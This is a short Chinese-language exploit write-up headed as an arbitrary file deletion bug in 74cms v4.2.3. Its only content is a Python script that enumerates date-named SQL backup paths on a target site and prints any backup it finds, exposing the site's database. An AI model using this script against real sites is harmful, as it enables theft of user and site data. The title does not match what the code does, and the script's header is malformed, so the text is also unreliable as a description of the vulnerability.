## 74cms v4.2.3 任意文件删除

### 复现过程

```python
# -*- coding: utf-8 -*-
-------------------------------------------------
   File Name：     74cms_MysqlBak
   Description :
   Author :       CoolCat
   date：          2019/1/5
-------------------------------------------------
   Change Activity:
                   2019/1/5:
-------------------------------------------------
"""
__author__ = 'CoolCat'

import requests

def getBak(time):
    print("[running]:正在查询" + time + "是否存在备份")
    dir = time + "_1"
    filename = dir + "_1.sql"
    url = target + "//data/backup/database/" + dir +"/"+ filename
    session = requests.Session()
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0",
               "Connection": "close", "Accept-Language": "en", "Accept-Encoding": "gzip, deflate"}
    cookies = {"think_language": "en", "think_template": "default", "PHPSESSID": "6d86a34ec9125b2d08ebbb7630838682"}
    response = session.get(url=url, headers=headers, cookies=cookies)
    if response.status_code == 200:
        print(url)
        exit()

if __name__ == '__main__':

    global target
    target = "http://www.target.com"

    for year in range(2017, 2020):
        for mouth in range(1, 13):
            for day in range(1, 31):
                time = (str(year) + str('%02d' % mouth) + str('%02d' % day))
                getBak(time)
```